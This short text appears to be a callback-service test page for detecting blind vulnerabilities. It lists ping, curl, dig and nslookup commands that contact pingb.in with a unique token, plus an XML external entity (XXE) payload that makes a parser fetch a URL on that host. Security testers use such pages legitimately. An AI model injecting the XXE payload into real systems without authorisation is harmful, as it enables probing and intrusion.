$ ping -c1 -p 00d849531edbcb6611e8d49f0114be00 pingb.in
 

$ curl pingb.in/p/d849531edbcb6611e8d49f0114be
 

$ dig d849531edbcb6611e8d49f0114be @pingb.in
 

$ dig d849531edbcb6611e8d49f0114be.ns.pingb.in
 

C:\> nslookup d849531edbcb6611e8d49f0114be pingb.in
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/d849531edbcb6611e8d49f0114be">]>
    <foo>&xxe;</foo>